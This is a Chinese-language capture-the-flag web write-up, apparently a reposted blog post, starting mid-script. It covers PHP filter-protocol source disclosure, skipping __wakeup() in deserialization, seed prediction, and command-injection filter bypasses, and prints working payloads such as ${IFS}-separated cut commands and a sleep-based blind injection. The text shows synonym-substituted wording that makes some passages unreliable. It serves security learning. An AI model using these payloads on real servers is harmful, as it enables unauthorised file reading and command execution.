data=data) b=time.time() if(b-a)2: flag+=letter print(flag)
##nani 文件包罗和魔法函数 _WAKEUP() 的跳过
在url中直接测验考试php为协议 php://filter 拿到use.php的源码
源码中 _wakeup()魔术要领将convent东西中的warn变量赋变为空值 // _WAKEUP()会在反序列化时触发,__wakeup()函数 该魔术要领在反序列化的时候自动挪用,为反序列化生成的东西做一些初始化操纵
所以当你笼罩warn变量时 warn同时也被赋为空 这里就需要跳过魔术要领
参考https://www.cnblogs.com/CubicZ/p/11938419.html
当反序列化字符串中,暗示属性个数的值大于其真实值,则跳过__wakeup()执行。
linnux目录一般再var里面
直接访谒txt就可拿到flag ,或者可以用file_get_contents,但是太麻烦,如果是不在这个目录的话就可以用file_get_contents
再者 ,,由于这是linux处事器 ,直接 system(‘ls‘); 然后就能检察当前目录 然后看到这个txt 或者将ls 换成dir
##random 常识点伪随机数
参考 https://www.cnblogs.com/zaqzzz/p/9997855.html
payload
seed=12345&key=162946439&hello=file(%27flag.php%27)
或者hello=);print_r(file(‘./flag.php‘));// 出格注意后面又注释 闭合前面的括号后面加个注释最好 // 在php可以注释
##admin 这道题就不说了bugku里面的原题 php为协议和反序列化
###ping 命令执行缝隙
参考到这篇文章 https://www.cnblogs.com/zcz1995/p/10296366.html
strcmp 用数组绕过
php为协议拿到源码
<?php
if(isset($_REQUEST[ ‘ip‘ ])) {
$target = trim($_REQUEST[ ‘ip‘ ]);
$substitutions = array(
‘&‘ => ‘‘,
‘;‘ => ‘‘,
‘|‘ => ‘‘,
‘-‘ => ‘‘,
‘$‘ => ‘‘,
‘(‘ => ‘‘,
‘)‘ => ‘‘,
‘`‘ => ‘‘,
‘||‘ => ‘‘,
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( ‘ping -c 4 ‘ . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
shell_exec( ‘ping -c 4 ‘ . $target ); //命令执行缝隙 但是这里没过滤全 %0a可以
直接访谒就行了
post1 命令执行与绕过
参考这篇好文章!https://blog.csdn.net/silence1_/article/details/96135760
此外 cat可以用cut取代
cut用法 cut -c/-b 1-100 flag.txt //-c 按字符分隔断绝分手 -b 按字节分隔断绝分手 1-100 一道100列 此外 如果不写 1-100 写成 1 或者是 2 或者是3 那么将只显示 第1 或者是 第2 或者第3 列
直接结构payload为 a=cut${IFS}-c${IFS}1-${IFS}flag.txt 这里直接1- 暗示1到最后 可以读取完
post2 命令注入的盲注 还要加上第一题的绕过
顺带提一下 盲注的语句此次是 a=`cut -c 1 flag.txt`;[ $a="str" ] && sleep 3 // 这个语句适合这道题 ,然而在实际中 ,cut -c n 是显示第n列 不但是一个字符 而是一列字符,所以脚本有待提升, 注意[]中的格局
参考 https://blog.csdn.net/shuai0845/article/details/86532142
温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30326.html